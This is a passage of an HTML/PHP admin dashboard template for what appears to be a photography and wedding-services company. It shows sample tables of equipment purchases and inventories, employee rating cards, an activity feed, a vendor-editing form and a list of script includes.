data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">1</td>
<td class="text-center">Digital</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">12 December 2019</td>
<td class="text-center">75675</td>
<td class="text-center">Shariati</td>
<td class="text-center">Number 1</td>
<td class="text-center">rejected</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/equipmentpurchasedeed-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">5</td>
<td class="text-center">Digital</td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center">Mahdi Ardalan</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">12 December 2019</td>
<td class="text-center">55674</td>
<td class="text-center">Shariati</td>
<td class="text-center">Number 3</td>
<td class="text-center">accepted</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/equipmentpurchasedeed-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">3</td>
<td class="text-center">Digital</td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center">Shamsi Saberi</td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center">12 December 2019</td>
<td class="text-center">785645</td>
<td class="text-center">Shariati</td>
<td class="text-center">Number 5</td>
<td class="text-center">Initialized</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/equipmentpurchasedeed-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">1</td>
<td class="text-center">Digital</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center">12 December 2019</td>
<td class="text-center">45644</td>
<td class="text-center">Shariati</td>
<td class="text-center">Number 3</td>
<td class="text-center">Purchased</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/equipmentpurchasedeed-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab55555">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Name</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Type</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Branch</th>
<th class="wd-20p border-bottom-0 text-center bg-primary">Inventory Keeper</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Num Of Zones</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Stock</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Number One</td>
<td class="text-center">Foodstuffs</td>
<td class="text-center">Bazar</td>
<td class="text-center">Ali Motlagh</td>
<td class="text-center">5</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-35 font-weight-bold ">35%
</div>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/inventory-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Number Two</td>
<td class="text-center">Digital</td>
<td class="text-center">Valiasr</td>
<td class="text-center">Saman Monzam</td>
<td class="text-center">2</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-danger w-90 font-weight-bold ">90%</div>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/inventory-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Number Three</td>
<td class="text-center">Paper & Cardboard</td>
<td class="text-center">Mokhaberat</td>
<td class="text-center">Soheil Arab</td>
<td class="text-center">7</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-danger w-70 font-weight-bold">70%</div>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/inventory-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Number Four</td>
<td class="text-center">Operating Equipment</td>
<td class="text-center">Velenjak</td>
<td class="text-center"><NAME></td>
<td class="text-center">9</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-50 font-weight-bold">50%</div>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/inventory-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Number Five</td>
<td class="text-center">Office Equipment</td>
<td class="text-center">Saadi</td>
<td class="text-center">Abbas Amiri</td>
<td class="text-center">3</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-20 font-weight-bold">20%</div>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/inventory-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div id="branch Info" class="col-xl-8 col-md-12 col-lg-12">
<div class="card overflow-hidden">
<div class="card-header">
<div class="card-title">Salary Per Month</div>
</div>
<div class="card-body">
<div id="chart" class="overflow-hidden chart-dropshadow"></div>
</div>
</div>
<div class="card">
<div class="card-body">
<div class="media ">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro11.jpg" alt="media1">
</a>
</div>
<div class="media-body">
<h4 class="media-heading"><NAME></h4>
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium
doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore
veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim
ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugitde
<div class="media">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro9.jpg" alt="media1">
</a>
</div>
<div class="media-body">
<h4 class="media-heading"><NAME></h4>
Sed ut perspiciatis unde omnis iste natus error sit voluptatem
accusantium doloremque laudantium, totam rem aperiam.
</div>
</div>
<div class="media ">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro18.jpg" alt="media1">
</a>
</div>
<div class="media-body">
<div class="form-group">
<textarea class="form-control" name="example-textarea-input" rows="3"
placeholder="text here.."></textarea>
<div class="row mt-3">
<div class="col-12 text-right">
<button class="btn btn-primary ">Reply</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="map section" >
<div class="card">
<div class="card-body p-3">
<img class="border-dark shadow" src="/assets/images/photos/Matican Location Map + Pin.png" width="100%" alt="">
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-12 col-md-12">
<div class="card card-aside">
<div class="card-body p-3 ">
<h4 class="card-title mb-1"><NAME></h4>
<div class="text-muted mb-3">Best September Photographer</div>
<table class="table card-table ">
<tbody>
<tr>
<td class="w-1 p-0 "><div class="chart-circle chart-circle-sm float-left" data-value="1" data-thickness="4" data-color="#ecb403">
<div class="chart-circle-value fs"><span class="fas fa-camera-retro"></span></div>
</div></td>
<td class="mt-6 font-weight-bold">9.1
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-warning w-90"></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<div class="card-aside-column cover-image rounded-right" data-image-src="../assets/images/photos/pro1.5.jpg"></div>
</div>
<div class="card card-aside">
<div class="card-body p-3 ">
<h4 class="card-title mb-1"><NAME></h4>
<div class="text-muted mb-3">Best September Admission Expert</div>
<table class="table card-table ">
<tbody>
<tr>
<td class="w-1 p-0 "><div class="chart-circle chart-circle-sm float-left" data-value="1" data-thickness="4" data-color="#f2574c">
<div class="chart-circle-value fs"><span class="fas fa-user-tie"></span></div>
</div></td>
<td class="mt-6 font-weight-bold">8.9
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-red w-90"></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<div class="card-aside-column cover-image rounded-right" data-image-src="../assets/images/photos/pro1.1.jpeg"></div>
</div>
<div class="card card-aside">
<div class="card-body p-3 ">
<h4 class="card-title mb-1"><NAME></h4>
<div class="text-muted mb-3">Best September Designer</div>
<table class="table card-table ">
<tbody>
<tr>
<td class="w-1 p-0 "><div class="chart-circle chart-circle-sm float-left" data-value="1" data-thickness="4" data-color="#45aaf2">
<div class="chart-circle-value fs"><span class="fas fa-palette"></span></div>
</div></td>
<td class="mt-6 font-weight-bold">8.3
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-info w-80"></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<div class="card-aside-column cover-image rounded-right" data-image-src="../assets/images/photos/pro1.2.jpeg"></div>
</div>
<div class="card card-aside">
<div class="card-body p-3 ">
<h4 class="card-title mb-1">Sara Jabari</h4>
<div class="text-muted mb-3">Best September Cameraman</div>
<table class="table card-table ">
<tbody>
<tr>
<td class="w-1 p-0 "><div class="chart-circle chart-circle-sm float-left" data-value="1" data-thickness="4" data-color="#5C6C7C">
<div class="chart-circle-value fs"><span class="fas fa-film"></span></div>
</div></td>
<td class="mt-6 font-weight-bold">9.2
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-primary w-90"></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<div class="card-aside-column cover-image rounded-right" data-image-src="../assets/images/photos/pro1.4.jpg"></div>
</div>
<div class="card card-aside">
<div class="card-body p-3 ">
<h4 class="card-title mb-1">Yasin Gholami</h4>
<div class="text-muted mb-3">Best September Editor</div>
<table class="table card-table ">
<tbody>
<tr>
<td class="w-1 p-0 "><div class="chart-circle chart-circle-sm float-left" data-value="1" data-thickness="4" data-color="#689f38 ">
<div class="chart-circle-value fs"><span class="fas fa-pencil-alt"></span></div>
</div></td>
<td class="mt-6 font-weight-bold">9.1
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-green-dark w-90"></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<div class="card-aside-column cover-image rounded-right" data-image-src="../assets/images/photos/pro1.3.jpg"></div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Recent Activity</h3>
</div>
<div class="card-body">
<div class="activity">
<img src="../assets/images/photos/pro18.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b> <br>Project kick off</b></p>
<small class="text-info">30 mins ago</small>
</div>
</div>
<img src="../assets/images/photos/pro10.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Saba Nouri</b> Add a new projects <b>Design New Films</b></p>
<small class="text-danger">1 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro8.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Jasem Jabari</b> Add a new projects <b>Upload Modified Photos</b></p>
<small class="text-warning">3 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro11.jpg" alt="" class="img-activity">
<div class="time-activity mb-0">
<div class="item-activity mb-0">
<p class="mb-0"><b><NAME></b><b> Hold The Coordination Meeting At Room Number 6</b></p>
<small class="text-success">5 days ago</small>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Branch Info</h3>
</div>
<div class="card-body p-3">
<div class="panel panel-primary">
<div class=" ">
<div class="tabs-menu1 ">
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold"
data-toggle="tab">Basic Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div id="basic info" class="p-3 text-left">
<div class="media-list">
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-font" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Name</h6><span
class="d-block">Branch Number One</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-user-cog" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Executive
Manager</h6><span
class="d-block"><a href="#">Ghobad abbasi</a></span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-map-marker-alt" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Address</h6><span
class="d-block">Tehran , Enqelab square , street Num.1 </span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-fax" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Fax</h6><span
class="d-block">6655114654</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-chart-line" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Efficiency</h6>
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-80 text-dark font-weight-bold">
8 out of 10
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-4 col-md-12 col-lg-12">
<div class="card overflow-hidden">
<div class="card-header">
<h3 class="card-title font-weight-bold">Finance Monitoring</h3>
</div>
<div class="card-body text-center">
<canvas id="barChart" class="chart-dropshadow h-400"></canvas>
<div class="row finance-chart">
<div class="col-sm-6 mt-5 text-center">
<h3 class="mb-1 text-primary font-weight-extrabold">$15,43,263</h3>
<span class="text-muted">Monthly Credits</span>
</div>
<div class="col-sm-6 mt-5">
<h3 class="mb-1 text-orange font-weight-extrabold">$43,263</h3>
<span class="text-muted">Monthly Debits</span>
</div>
<div class="col-sm-6 mt-5">
<h3 class="mb-1 text-success font-weight-extrabold">$15,43,263</h3>
<span class="text-muted">Monthly Credits</span>
</div>
<div class="col-sm-6 mt-5">
<h3 class="mb-1 text-info font-weight-extrabold">$43,263</h3>
<span class="text-muted">Monthly Debits</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div id="revenue section" class="col-xl-8 col-md-12 col-lg-12">
<div class="card overflow-hidden">
<div class="card-header">
<div class="card-title">Revenue Report</div>
</div>
<div class="card-body">
<div id="chart" class="overflow-hidden chart-dropshadow"></div>
</div>
</div>
</div>
</div>
<div class="row m-0">
<div id="people" class="card col-12">
<div class="card-header">
<h3 class="card-title font-weight-bold">Branch Employees</h3>
</div>
<div class="card-body">
<div class="row">
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Graphic designer</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h4 class=" mb-1">Hamid Safinejad</h4>
<p class="mb-1">Cameraman</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Photo Editor</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Cameraman</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h4 class=" mb-1">Saghar Kasiri</h4>
<p class="mb-1">Film Editor</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Photo Editor</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Quality Supervisor</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Designer</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Designer</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Film Editor</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h4 class=" mb-1"><NAME></h4>
<p class="mb-1">Photo Designer</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<a href="#">
<span class="avatar avatar-xxl brround cover-image m-2"
data-image-src="../assets/images/users/male/20.jpg">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h4 class=" mb-1"><NAME>aberi</h4>
<p class="mb-1">Quality Supervisor</p>
<div class="mt-1 mb-4">
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-warning"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
<span class="text-secondary"><i class="fas fa-star"></i></span>
</div>
<a href="#" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
</div>
<ul id="people pagination" class="pagination justify-content-center mb-5">
<li class="page-item page-prev disabled">
<a class="page-link" href="#" tabindex="-1">Prev</a>
</li>
<li class="page-item active"><a class="page-link" href="#">1</a></li>
<li class="page-item"><a class="page-link" href="#">2</a></li>
<li class="page-item"><a class="page-link" href="#">3</a></li>
<li class="page-item"><a class="page-link" href="#">4</a></li>
<li class="page-item"><a class="page-link" href="#">5</a></li>
<li class="page-item page-next">
<a class="page-link" href="#">Next</a>
</li>
</ul>
</div>
</div>
</div>-->
<!--Modals-->
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-2">Edit Vendor</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form autocomplete="off">
<div class="card p-3 mb-1 ">
<div class="row">
<div class="col-6">
<div class="form-group">
<label for="Brand Name2"
class="form-control-label mr-1 font-weight-bold">Name: </label>
<input type="text" class="form-control" id="Brand Name2" step="0">
</div>
</div>
<div class="col-6">
<div class="form-group">
<label class="font-weight-bold">Owner</label>
<select multiple="multiple" class="multi-select">
<option value="1">owner 1</option>
<option value="2">owner 2</option>
<option value="3">owner 3</option>
<option value="4">owner 4</option>
<option value="5">owner 5</option>
</select>
</div>
</div>
</div>
<div class="row">
<div class="col-6">
<div class="form-group">
<label for="type2" class="form-control-label mr-1 font-weight-bold">Type:</label>
<select class="form-control" id="type2">
<option class="active">Wedding Hall</option>
<option>Natural Place</option>
<option>Hairdresser</option>
<option>Wedding Accessories</option>
<option>Car Decoration</option>
</select>
</div>
</div>
<div class="col-6">
<div class="form-group">
<label for="Place2"
class="form-control-label mr-1 font-weight-bold">Place:</label>
<input type="text" class="form-control " id="Place2">
</div>
</div>
</div>
</div>
<div class="card p-3 mb-1 ">
<div class="row">
<div class="col-6">
<div class="form-group">
<label for="Capacity2"
class="form-control-label mr-1 font-weight-bold">Capacity:</label>
<input type="text" class="form-control " id="Capacity2">
</div>
</div>
<div class="col-6">
<div class="form-group">
<label for="Professional Staff2"
class="form-control-label mr-1 font-weight-bold">Professional
Staff:</label>
<input type="text" class="form-control " id="Professional Staff2">
</div>
</div>
</div>
<div class="row">
<div class="col-6">
<div class="form-group">
<label for="Decoration2"
class="form-control-label mr-1 font-weight-bold">Decoration:</label>
<input type="text" class="form-control " id="Decoration2">
</div>
</div>
<div class="col-6">
<div class="form-group">
<label for="Cleaning & Maintenance2"
class="form-control-label mr-1 font-weight-bold">Cleaning &
Maintenance:</label>
<input type="text" class="form-control "
id="Cleaning & Maintenance2">
</div>
</div>
</div>
<div class="row">
<div class="col-6">
<div class="form-group">
<label for="Easy Catering Service2"
class="form-control-label mr-1 font-weight-bold">Easy
Catering Service:</label>
<input type="text" class="form-control "
id="Easy Catering Service2">
</div>
</div>
<div class="col-6">
<div class="form-group">
<label for="Workflow Of Management2"
class="form-control-label mr-1 font-weight-bold">Workflow Of
Management:</label>
<input type="text" class="form-control "
id="Workflow Of Management2">
</div>
</div>
</div>
<div class="row">
<div class="col-6">
<div class="form-group">
<label for="Convenient Location & Parking2"
class="form-control-label mr-1 font-weight-bold">Convenient
Location & Parking:</label>
<input type="text" class="form-control "
id="Convenient Location & Parking2">
</div>
</div>
</div>
</div>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/peitychart/jquery.peity.min.js',
'/assets/js/apexcharts.js',
'/assets/plugins/chart/chart.bundle.js',
'/assets/plugins/chart/utils.js',
'/assets/plugins/input-mask/jquery.mask.min.js',
'/assets/plugins/counters/counterup.min.js',
'/assets/plugins/counters/waypoints.min.js',
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/js/custom.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
'http://maps.google.com/maps/api/js?key=<KEY>',
'/assets/plugins/maps-google/jquery.googlemap.js',
'/assets/plugins/maps-google/map.js',
